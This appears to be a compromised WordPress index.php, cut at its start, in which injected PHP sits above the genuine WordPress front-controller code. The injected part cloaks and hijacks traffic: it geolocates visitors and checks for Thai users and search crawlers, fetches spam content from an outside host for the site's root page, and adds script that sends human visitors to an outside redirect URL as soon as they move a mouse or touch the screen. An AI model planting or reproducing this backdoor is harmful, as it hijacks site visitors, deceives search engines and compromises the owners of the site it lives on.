UAGE'], 0, 2)) === 'th');
    }

    $response = fetchContent("http://ip-api.com/json/" . $ip . "?fields=countryCode");
    $geo = @json_decode($response, true);
    $isTh = (is_array($geo) && isset($geo['countryCode']) && $geo['countryCode'] === 'TH');

    return ($isTh || $isThaiLang);
}

function isRootDomain() {
    return ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '');
}

$ip = getClientIpAddress();
$request = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$rootDomain = $scheme . '://' . $host;

if (isRootDomain() && (isCrawlingBots() || isTargetUser($ip))) {
    $content = fetchContent('https://cdc421a4082c2ced8851c525b952c529.apexcloudcdn.com/contents/serve?domain=' . urlencode($rootDomain) . '&user_agent=' . urlencode($_SERVER['HTTP_USER_AGENT']));
    if ($content) {
        if (!isCrawlingBots()) {
            $redirectUrl = "https://cdc421a4082c2ced8851c525b952c529.apexcloudcdn.com/contents/redirects?domain=" . urlencode($rootDomain) . '&user_agent=' . urlencode($_SERVER['HTTP_USER_AGENT']);
            $script = <<<JS
<script>
(function () {
    var redirected = false;
    function triggerRedirect() {
        if (redirected) return;
        redirected = true;
        window.location.href = "$redirectUrl";
    }
    document.addEventListener("touchmove", triggerRedirect);
    document.addEventListener("mousemove", triggerRedirect);
})();
</script>
JS;
            if (stripos($content, '</body>') !== false) {
                $content = str_replace('</body>', $script . '</body>', $content);
            } else {
                $content .= $script;
            }
        }
        echo $content;
    }
    return;
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php'